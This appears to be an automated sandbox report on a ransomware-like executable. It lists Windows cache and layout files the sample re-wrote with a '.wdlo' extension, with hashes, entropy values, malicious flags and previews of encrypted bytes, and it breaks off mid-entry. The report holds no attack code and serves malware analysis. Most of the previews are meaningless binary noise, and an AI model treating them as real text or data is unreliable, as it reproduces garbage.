Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.287046410228101
Encrypted:	false
SSDEEP:	6:l+/ghYJHx619pPhVIvXzFyr9fMQY8cNolW4Arh5fvxVG+U0pip2po+YdOsVolWbf:0/Uzhhevzk5kQ/vWNrh5fpjivn36WciD
MD5:	3C5FA3CBDA1392CFCF5A082ACC1A673E
SHA1:	DD1BDDEBF999C1444DA75284A3CF0CBF6E3453F8
SHA-256:	4B535820DEA3F472D505E366A9143C4D571CBF7B63F598ECD859BAE6BA3FAD8F
SHA-512:	46BDEB125D476DD20231B7AB314CEFF059B655077700AB2EF53C64C30FA3884A8E37EBF52186FA347FFA1D0437ACCE87F41EA4E40E2F8FD028CF593670315312
Malicious:	false
Preview:	CMMM +..Lt.z....X..._.-9...Mh..9.j...'we.N(..[.A.K/..=.`.=Y&.....Y...c.......*....X.m..+....`.C.h.Z...9....)6>V..&.(...U..,;..N1.CoL\.W..)>?.B#..(.R....ZmNJ.N..w..i.JWx.F..#.I....e.%.u..D...mv.N...TL.q.KU.....n(1.3.M6.B.fi.o..3L.p...yow.......;.3i......p..>......&i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_exif.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.261637673098327
Encrypted:	false
SSDEEP:	6:cW1z/8gj0XvR+LxXYh5EBMZYgAur2kXz/MKIfZC2szL8xNRhf/5gOsVolWbz6Wcq:L7kXvR+xYIYNAUMfZCzILh636Wcii9a
MD5:	012589E0433DE111514DF5B276F0F4CF
SHA1:	6B44972DBE1B3C6C4B72C3FA2CA4667BFDC3B610
SHA-256:	6F6D8A3C309F07B876F2A4F88DFB4C0DC339D1F4965C839D123FB5040D3197A4
SHA-512:	A120E3C1BED2D6A2497E445EA648D1A868CF6A71FB23BEB0C2DBFA207B3D078996582D0A2EDA36899C467C81626ED61584479F29499366222F73DEC822DC2A3C
Malicious:	false
Preview:	CMMM .4U'..{...YU.{..3.XKH.`..X.p.R......\..t.>9....~T.5./....Z!..U.CK..m...._.b..U..6..[ .(.N.t._iW.3S+M.....INY...r..M.....ou...4.......1.].M.r-..i.r..}.n.#B.x........Z......7.^.dH..!'u..e.Q....b..O.z.......}4x.T...d..Dz:......*..(.r'.....Q..dU....ad..6\|EC....y..9.."i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_sr.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.281497341925078
Encrypted:	false
SSDEEP:	6:G6iu+IV6vp63U8TIhF8xfiv9wv4idHg15iwv5d23efuf2CTtZzlCMp3OsVolWbzD:GK6wrEhF8Sa/Hg+wv4eGZZgax36Wciik
MD5:	0CC5CF9D667B2D1EE90D7FACD7CD28BB
SHA1:	5AE77E7EE43B6C91EABE5FC5F6F2FB7ED0F40FA7
SHA-256:	45CF7B164407196E04C3A256D933716994B47EA59362B3EBC15FBBB8786D759F
SHA-512:	D32582F309A3665F8826F30E6C89BFB8AA598E241B8C586125A3831A4741255419C243B47707CF89BB2BAE2713308C23990EE4E11E2AEB521EBFE6BAF3940B44
Malicious:	false
Preview:	CMMM .k;Ta#....o..O@u...)...\|......"m...'..5...-V......3...8l..j...[wU..m.w.U..+.u...-....w.7.....7 ......a..l5.+..$<..2.F).\C1....7.?O.....w........4..fl...z..8.G....I...\|[.:#3>.4O.....-.Xe....@s...;.\.Y}w...s..r....7....\|`.w..o.....y.........cj....)*....>.. i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2129792131760455
Encrypted:	false
SSDEEP:	6:Aenbfp1Tv3OCdJOielFNAudz1z8373UOiNyBWDl9J8oJq3UVcCkD9ROsVolWbz6Q:Asf5J/omuzz8IO+yG9J8okEVc336WciD
MD5:	0B9FEB05323C194D0E4C2263D397106B
SHA1:	325F823060C302DCD92F502A290A068EB5267577
SHA-256:	E03445A6D75C3BCBD4CE3606208B74C70584180C572E73ADA6B31E6057043B4D
SHA-512:	9306F5FA585D0B24CD3BB36BA86FB25FACA910E60CB7A3FF067A77BD6FFE2ECDC8F48B0D6A430FFA7DD23A2CD7490ACC34C4DE3319B45AC7FF98601777B1D271
Malicious:	false
Preview:	CMMM .O@...I....:.e......*[Z........I...}.6.R.W..<%Ue...$R.{te.QR...&\|..80.....X..BY.<._.(...i......\|....C..e5 D.\...P?.E.2...g.L.V..N...W../..N..PE....[...r0i.W....{bp>bC.1N..."%T.`.D.1...$...oL.\|.$AQ.!......3E.D....m...}....o.....4...2j..B.MO....$..D.9S...y.V.X.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide_alternate.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.325171383668728
Encrypted:	false
SSDEEP:	6:ZSGiD26pFOQqscQ7/GEe397lxWM7fSdJpI0BqEDKXPECk8eX3ByyLjZM873OsVoA:sGiz5cQC7rWM7fwq6K8CF0R/O8136Wcq
MD5:	7CC23307089837E37B3C0FBC4E893E6A
SHA1:	98295FCD237CF058F78410AC424B1D54B4A8DDF4
SHA-256:	F4837A14144FD4D880E24BF2EF75A541655D40D634500CA7F6B7DB9E3ADC09F5
SHA-512:	B35F7341DF8D3E89657174E72652D68971C1AEA27F52FF65F0CAB9D1428DD695397D06EA3D4D446271ECF6E99D825139BFD6CD618621698D603BF12419AD2BDD
Malicious:	false
Preview:	CMMM >...a.7..[.<.KR.M...S:d..t.....1.9../F....n....;.1\|....0.........^....:xt!.....V..c\|$;..".".....1..nSd>Q..Du.q@G.Jx?.p>..g[05.;.g......8A.Z...&....vU.`.k...[...#...........v.>I.oA...3#.!..d..k,.s(....U....'..X.b..b.gs..).E...jM..sZ3..l.....S...dq.j(..7..'..E....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1280.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.3234062036526675
Encrypted:	false
SSDEEP:	6:Ouwvt4x5OMHZGvCZFBDiBRH7OGFbBpf/WFC6kMdCSIcRs0B7YJbxOsVolWbz6Wcq:Ouq4xcM5G69uBRSGpBtYJZ0SIcG0dUvT
MD5:	1E645893D6F539A1EF2D55BC1E40CC4F
SHA1:	4582CB9EB7B52DA70C6CB86ABDF965B8783163F7
SHA-256:	BFBB2F6775427E9BA7ECD2F8F231BDB87F5672B29993145E8FB170DFFB4B29D2
SHA-512:	FE5E71143D8E4608A5AF3F0C5D71FF8DB999D8D20BD117E6CD680C7E61B17E955DA22271580E4A4188C53D28A33279743D72315A56C7677F0E5D8019ADB8FFA6
Malicious:	false
Preview:	CMMM .....>..W.{v......NP.-.S..G5......i..w&n..,.P......Q...{r.........^7\|;S.._.I.<f...r_.r..$0I...&@.......2.f..$.*w........w..J.Tl...n..1.3x.{.:.0.[0T...<...V.mE....6....%.;...#.f..V...\|..-M.......#.[..k...:.6.<.-\|..:......=.`lA.....7!{....&.]z@CXY.D..G()a.2(!..ci0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_16.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.7687988813716728
Encrypted:	false
SSDEEP:	3072:Zk7e5SPdAf1cYd/jX9wDouKbpFHZZM0F97OhOoTuSP5Et86A5NmvhF:m7E+m/qDobHZZ9F9+5EuNmJF
MD5:	33481090AEFBCA4619FAD70526C1BEEF
SHA1:	B495689FEB9951E35F962AE71A3195962DCCD23D
SHA-256:	C948072BA24CBE43FED64A08976A2A9D44EC2B54F7B92BC65324FEB64323076D
SHA-512:	1C4434FA4761093E6F76852576BCA1E8CF2907A65BB70BD71F54AB3F1455C47F7173DC8E6C54D146E7198DF169F720D28E2B215130EA9D375E907F73F33B993E
Malicious:	false
Preview:	CMMM ."b[.).......O..."2.....7..t....rH?....v.S>...m.+..5.T...`.^..-..\|..P..'...e..x.{d....u..e...o.U.V....M...E..)&1..o.......w....A..j...(5...dY?.W,h....l..a.^it..........-..x....X.C.....,c..,`K.nw0......V..D..Maz.\|I...1<..w1H.....p.{..U7z.[..M\|.z.8...`z..W..-6..l.Z......5...uKM.o.b...!.._6H...;....2.`e.:........]kA.....%.q.g..pY..A.1..=.#.......H.......$b.....]..i.z...4_@6...uC.S.e.....(.Lv....'.4.5ci1d..i.c\|.&.sK+.z.@;~,q..,..0....ahy.<W8}..l...=..L...n.Y.v13?...Dh.G.j...o.n 1.F_v(8....... ....PsN...qw.'...-..&.V..^...b.....9...3(G..vB.7.....W.D...:.FE..C...#...6'..jf.7..[jG......'.R.$#....WB...N@.....X...S.......SV...,.\|........a.{z.%.[.C..u>Y:.\|.........87>...H.....p_...K...<..K.{.z..qD/-..\|.\|.g.]zl&\-..n. .....J.[Op.4..@....Y. [{o...bM.l.wi"Y..C.ze..GK..0iY.(...O..32.u(<r$'6.....khJ.Rryk./......P.....I"...).iAR~...o>..B....VgV..Q..0...#I....(.?...M..D..L..A*....+Nl..X.M.;F.......q...5._?.1...@..?I......L.j.O.{..sx.....

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1920.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.279659545629308
Encrypted:	false
SSDEEP:	6:5o+PSjbrBRJVO0NrJ3WmHggNg/W/RosFwru1K8R7781drbOsVolWbz6Wcii96Z:55PSnrzv9r5nZZosqroK823h36Wcii9a
MD5:	0675BBE8AC0F5F21CD86FB74E1603D20
SHA1:	F24F8A42B46AA950892560E2265A849C3360549D
SHA-256:	9EDF04B04EE700219BC827DAF6493B9E89B7E66BF466DE6534FB3587831EA465
SHA-512:	B6877C17AE106DABD9110EF8E5278154CBF847C94A55E8C1BF9EB3B50DF1F207165B0EA793889ED576D590A7371C3B8A87B2DEBF09F945E1596DD31E33E83B73
Malicious:	false
Preview:	CMMM m.D.....y..Y...[o%..Re...^b-..8;.C...PD...E>v....$.C*j..6c`.\|E.....j.....c.7..1.E.F.\...G...,L.F[u.8.......Fx.,.I....j.v..7.._.-7)\.4..X^.iO.d........u....}.I.g(\|..+h.3 .........o...u7UG..h.....7J.!Z&..kr.Eo...0......T.$M.P......~..'...<.h>....b......R.\|..vK...Li0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_2560.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.303382922607887
Encrypted:	false
SSDEEP:	6:24HAcyTz/TcTdedN4hD7Z4ePSfNADME9ehNoAOsVolWbz6Wcii96Z:2UZg/UbPSfLJhNN36Wcii9a
MD5:	BF5F0C645611CE776F5006A181AED869
SHA1:	6EBEB0042C752714B6F9DAC3C0E3F2F216E7BE51
SHA-256:	882C5D40D127A50A60E075FC2C20FAC05D9B508EF91817DC3DA5598F684C52ED
SHA-512:	1A61962E29CE81254A9CEB30A2F58B539351D650B85D5B80576A96D802E04034D1EE283DA2E8EB3C380BC4D77364DEA08B91C0C4F5B8D6F58D361C84B985FCC2
Malicious:	false
Preview:	CMMM .g./].(..Jp..rt..(H2.Y._..x..&......^y.?...'...h.g.. 4....3t....7d....".........!..........&...`.s.0.6..wB;..Z......H.......{...*".-Y.e]..Q.......AE.&{.]...m........ow...7....%..m..x.....]z......=$z~..S......^...r.......Io=^'..zr..oCU......!.....YJ'N.....V. .\......i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_32.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.7688982693471724
Encrypted:	false
SSDEEP:	6144:sOvM1YdYjyMg/CSVWjlyiTLGAVqQt0vFI:tvnMtS8jlpkQ6vS
MD5:	13A239876FE759143F1B48C89611BC29
SHA1:	08CB59C87060E62F68647B773A90528EE3C40331
SHA-256:	66781E59E3F7C3D09623E22CD550F5DC582D190DCF3B3B5FE0F6B35249850F80
SHA-512:	0C78DF6A193595AFF6AC6C0DEB6C50B4DE18D5DD2F339BE08209239F3BD4F548028F792661E74A9271EE74419C0D8E5F6BBE983B055DF92D682FD12D4AE9224D
Malicious:	false
Preview:	CMMM N.I.....G.w.}.,.:7=V.O..~D.qP..... .Kr...j..Q.Q.*W.Zv..M..kY.7RB..\|j.<.Q.P...7M.....(.55...\|.......Q.2.q..t..Y.[~'5.e....i\|...6...y.H]./h.j..\7OL.U..6w.x..<P.T.U..PU.[..e.5..Pa...Xk..g.&%qn`.l.u. .[.+`.L.......O...\|.;...Y.OJ...?B.7........%x.AE=02...~.8.C. ..".....G7.#.!.1.. .j..Iq....qC4.$v.W}g..W........5u.Y........... ED.f.....!.h.........K]."GZ.l!x..k.zB.D..d......z.a{...T.c.P..>(...?........{w......HH...R.t.l..s.o....p....,..:'.V}.N.;..#.oFF@..@..k.[.KJ......O..5.K.....bP..L5_@#G4..'..mN..U..U..P:.a.A.a).f...U...Gx.W..\..f5.D....H...-.+X^..-Uqw].b..6.`n..(...'..n...!..r......P.4..m.../Iz0&....@...Hx1E.AUiHS1.`...u.........A........_...mPzjS..J....~.)...T0..~k.?.<.\...m.{.~0.........$u...FI.A...yK+<..._.,Dw.,S.,y.d......6..-..WUi1...Rg.Q......^..B..j...Cw.$....&..B..>...F.<.owP....M:v...L<.(....a...v0.z.E..i}?i.T.IH.e......]......D..UA.F..i..u.5]..T..`x.ER..s\|m..:.!..0.Y...q;?=l].+1."R.......K.P.(z#..._ga.}.9Z..o..,...6.L.

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_768.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.322594767743581
Encrypted:	false
SSDEEP:	6:u3cJ6LpWdUkbDfxJpujjorXlGJ9GosXGUQ6CPCfVe2ROsVolWbz6Wcii96Z:8cs3kbtfr2go4YPCfVb36Wcii9a
MD5:	ECE7884493E124D14DE3263E7D754858
SHA1:	8A129EDFB8C37D48EB9A0B7702382CDE7FDF6CFA
SHA-256:	FA800171C8EC8782A4BC9278E5720BF2D69C84FFB91B0711E7455CCEB9EADCA8
SHA-512:	1D70140E72C86EDBF5259CBF0F393F77381A1AB1014C9A500FBF47158647DBF8FB09D75AA9C6A84B928BBCCF39F3B8302C2B29A428CEEDA1BAC101FE3E9E1F5C
Malicious:	false
Preview:	CMMM _..}~tg<.W..k..}7N.......z...@...<!.....T.E...O.#......3.X..L...=j..E..I\|i.i].Yjv.b...f.T.G..T.B...M,.#.WU..?...M.[C.o...`.w0....$.p;.'...)......$.Z...8....l.4.f..Rs.j=.f+......m(w....bf.x....s...c.u.\|ji.2Yw..F;j. ......p[.....MF~%b..`w...5V...I.CA.......s..U...i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_96.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	4.016133349956015
Encrypted:	false
SSDEEP:	24576:8dbJlGnolVn6NVE2I8wHXEH9KPaUkr/5Tr4ImqrYE3Ax0LPJBn6gv:IJDfn6NVagH9Kyrr/9+qrYE3Ax0LPp
MD5:	86BE942F62C7B8585272CF299E029142
SHA1:	AD7D89E618506EF344A84A34CE5439C32E17148C
SHA-256:	9FAAC02F76C7E1BFB79F5A030F2A991077AF0182A963DDB79415084BFEDFC8A2
SHA-512:	380D3B08C6D96C734DF9FAA27932B4AE8765F1E6118335DB6E953C3E6256B3199A17638E77D094B8EFB914C2E0059BFCDAAB58B89341C7F75C9AAAAD784D2863
Malicious:	false
Preview:	CMMM [....7.@.X2......n.9._b......tA~....W...w....>.....5.I.2....0V....W..PX.}_EA .....S.0.."...=....HT"F.....`9.......-....y.!j.RCC.N.B.M..........9,V...s....}..~...O..A....0.&....HL.\|m4vF..kx.i.....i..F.D.j..;.0/...k...%2..z.m..d../..3;4.]A.9.-Cd...+..F..2.....Z....Ru..a/-4.I.i.1..7..$._..,.. .m.r....)...n.E.a.0k..\U-r$"O....)..AB.....bYe..._\..!B..s.`V.w..C.(... F........Ex.Y(UY.^...d...5tA..].hsV[.j.l."...<.H+...........E..R..@. ...U.6a.:.\|]]N..BC.^.x.XQ..R..l..?[t...mvm..~...$..q..Y.\.._.-9.....n...W{..:.k ....2..>^....Q.S..... j..(..A.r .9.}..`..."?$$.mm... .....`..'.X._..2.7..0w\).2#.....q..z.sS..Lp...x.~C-.{.....z....f...U..g&...l......k.A..2...B.,;..3..!2....Z..:.l....Or:V..:t:@...v....C....R....0?n..2m."..f(gY.~. S .b"v.D.M.P:....h..K.k..,.B...(4..p.....kG.;..../.Ny..q..{v.v.]...VE.".v@.j.B^l.j...lk6.)`22&.:Q..!.~xS...0.\.Oh.,F..I-.....0p)t.;.ck.m..$H...".2.YH.W."....?.Ab<..b.A.....[.....L'...).1pw..."p.a...:......\|..#oz..G4.N.

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_custom_stream.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.310411013514693
Encrypted:	false
SSDEEP:	6:rKSG/h1q9V5MaPm7cbE601+fFzGEXkWfopT+tbOsVolWbz6Wcii96Z:rKSO1qDC7iEj+NSEUhpT+t936Wcii9a
MD5:	1823211A28BE3FCAED8718F828D8A540
SHA1:	BCAA035761A10FC5DF1A985852FA861EA7BF14C1
SHA-256:	17ED37BEF0C63609F79EE01FB2FD0D10DC69CFAE9EEB2EC0916AE958FB3BC07E
SHA-512:	F6092A2168DFAEAAEBB5943864F42F542A77B7B36EFA71F66947FF62859224535C602F7A497FD08751D563A1C8A102E9AA55EC7D896348B94F6269848452830F
Malicious:	false
Preview:	CMMM ..8...k.^..I......JF.T..l.rA...%....p...(..(...5G..5.V.`P[V..}...w..._.O..ru......s.(.v\|.m_....._..}.m.^.f.,.....J.=......!IM.'.\|@....-..A....k.!.\....._...L....R1..gL...LU.......y..p;.Gw..5..Z..<..f..f..3<....V....:7.[.....?F..y...K6Vd...C+l.....C..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_exif.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.274892054059788
Encrypted:	false
SSDEEP:	6:j/sleIwo4q/grMfVZQcRdnLC4dW9dP9O9vsMeNmPf1eXuBWRyj7OsVolWbz6WciD:DsleIf70MzQFeOOldeE4U36Wcii9a
MD5:	0F87A067B6DC3BD682563CE6854B6501
SHA1:	98116A55C647344A5A3C80BFB02FA0E65DEA772B
SHA-256:	3F25879412EC0F34F19B2043F8E1E03DF950136DAABE3014C4BD9E846E629BE4
SHA-512:	8854DBA1FF4BAC1FD3968C08AE72E69361A5F771C9F59463E96FFE20592A4E462B6646CD84F4B47DB2F5951E29022EBF6BDB11849994C55269A97E6BFE921C0B
Malicious:	false
Preview:	CMMM ..Sq..[.\..`+.....l..]../1<..s}+L..7.......gG..6......8..y)...{QD..=8.....1....@&G..o..8...T..F(%Td.....C,B8H.I..7.k.rMX....8......h........-...^(......m...~.q.._...K..YP#.A..sh..kx?.xR..j..'y..[:=q..d.....g...).....D..e.k........<...4P..H.6.I.......99..L/..R..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_sr.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.376747901676297
Encrypted:	false
SSDEEP:	6:KJHellLFu/TW/pQs44NPZaODEO2KihnC0UDUJxiOsVolWbz6Wcii96Z:k+lPmTWxQs4WxzDCn9HxS36Wcii9a
MD5:	59ADCF24D054567BFB9DEF7CB698C4EF
SHA1:	D5822D3F9909CC249C57C59B5119EB71F0C3E433
SHA-256:	3C28FCE3B176A43C2DB0C7AD5682DB487F9B35471511687804DCFA771B8BBABC
SHA-512:	E8CFA0BB153E7A9BFA23B1BE70CEAE3C90D59E5906C7D9C5393E56F8A38F7A1A8589A30CDCA31D196D81FAE7B62A06C4C5840AC6377F30D1BBD0825EC0AF6752
Malicious:	false
Preview:	CMMM ..e..f....N..._.."Up......-8~H..;QY.w.+F.xw...l....k.......6....Va..e..hjO........Z..".f.k.....J...c.l..t.z....e.7W....[.j.c.rV..i^.....3.....7V.=C..0..<..G..l3.!5o....a.:!..!.....A..l..y..R........Zd(...nQ6O.\.pF._...7............uK....f....I....}.....M.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_wide.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.230361387831138
Encrypted:	false
SSDEEP:	6:jT4+4j86exBbWnPql3//ps/uZQJswkvXfyrbKE5o5JYEcbhOsVolWbz6Wcii96Z:I+Q86OBWPq1pzjPyiEW9cn36Wcii9a
MD5:	2D64A5AB4496D829A1958695B8633A27
SHA1:	D0A0F01A6B6B6A57750DAC1C2971EA4E6ED9F700
SHA-256:	A6A93D43FB7A284F687A08410FB95126487EE077A829DBC134D7515BA701FC59
SHA-512:	AA05E24B619916C62831899403869E588DB3C3936751768C5694231361BE3142305B4761BA9F6CB193008CEB1E356F4C543EF7664DEFA2BCD221887D46C4F815
Malicious:	false
Preview:	CMMM ..D......N.D.ya.y].).\|y..v6.o.n)....wj...E].;.4.h...@et..?.N...9c..q.L.m..r.@@..ju.Cy.C......o......$......H.K./..;.o.....p.r..IPj7@>5_c...i..F..4.Ac.9...g.....1...L...dP-.~.+Rv..S}.........dK.......?_.q.K.......{.CR1........)>...n.?.3..o>...U.T...Kb..`.2..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.3561864759809055
Encrypted:	false
SSDEEP:	6:QlKoqx7exLcQ256eBzuw0bHV86dV9Jesoue63Lsmq1vtPYII4lX2LBOsVolWbz6Q:QMoqxCZc97zGb2M9QvueILlq1vtHI4+T
MD5:	56CEC45019A4BD7A40F1FA90BE234417
SHA1:	4540CC4B949EA202E88BC4F1EE8C35AEC22EE353
SHA-256:	3AC511321646457E2E71768595DCD0D338B163617AD3F4497B0BC4B6890C5003
SHA-512:	8165A4C3AB4BC38ED62DB1B25B93EEEC65F4BAAC3105D6E75090B224B5372FDC1E42EC1B2AC43ECF331CEA56B15EAD93C3FAB4DBA14DD87C7751CF132CB9D94E
Malicious:	false
Preview:	CMMM .3.[/U..gy..k&E1{g...3..b.......w.t..)..-..]6.(....:T..uH...F.l8&Z`.H8...2a....\|.=....=..!....K')...zf.{....k...M.A.D..Q.T.&."t...>,.Y~....}-....\|o....P-m.{.fy{..Q?..........C.)..,d\t..i.....V...D.....&....?.}p.R...@....Cd.....wrt.;..C.@......:.@..Tn.....T.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Shell\DefaultLayouts.xml.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	64281
Entropy (8bit):	7.996997300629572
Encrypted:	true
SSDEEP:	1536:CD4mXVqaW1MqzHr0RDozJdSWj4u6VKtrKIQqRB00sak4H:Cu1pzL0R8ddMirKIPxsaB
MD5:	7E8AF81855003C5E09D4C10B3C226DF7
SHA1:	3040CE202D36377D625246C3F73BAA073317B091
SHA-256:	D52BFB157C95B9BD25C310A5D956DD383154D77CE4D7DE8E3D7A7E68B4B0A1DF
SHA-512:	14D6B93EEC2397DB6D6CB40947A0802CCB4C9CD8EBBD22D92F9D3743AB1495D5BF03F25F1431824D597C502193F59F60B133F9F224742C58C5531F3D17CAEF7D
Malicious:	true
Preview:	<?xml.........t.e......y;..M.7;..#.{.3s.e'.=..j.i..'.b...H..wR...].L.D[.W.7.+..,;Z.3...~.s...W..9).i8R...r.R.5...<....S../Tu[.B0.....[....$.qY! ...XV...D..M.S.^]}iO.......[..^ ......2..f.C.d.q5.x;.^.Ea+.p...?...!QH..7E..y.#$l.w8..w.y~1....A..Wh..Na.W..^V.n..i......D......D...Y..\|T........K4.^K...oo%.o..\|.GJ".....L6.x..l.A$..%...q..a.&.~.~..g.+....%..u.^.X.+.5.L-wz...>..4..-..{.>....P...N1...'...3./)u(.r........)\|....s.& ......-..!h../..K{..<..%........u..{.z.Py_xV...........G..Oz."Kg....T&g.......kNq)\.AQ..).f.....~.){..xK..<W..x.K<pzp...8L..F.}Mh.<d.3.%lwv.@.x..o..~.I...J...}/e..T.p....\..@.{9#.."C;?.f.....S.6.....?.....P}.......:..p-o.;...[.j...zu..9....c.n[Z.%...d...s../..0.<...n.9.YD.;..w....P,!.>-.K.W..@........(.~gH.....'..[....Y.U.JW.b...{V..mj..Ga..t[.B.]....2....b...'....L...~(.I.m..]).ASo.Gc...J.H.\|......Z......$J#..mw."/q..Z^...m..$.?....9<.l.pw......?j...Zw.ak..s.o_.5.:g?...2.Y.IK`..Ui..h..*.........4.512b..K9..=..V

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01.chk.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980502510129349
Encrypted:	false
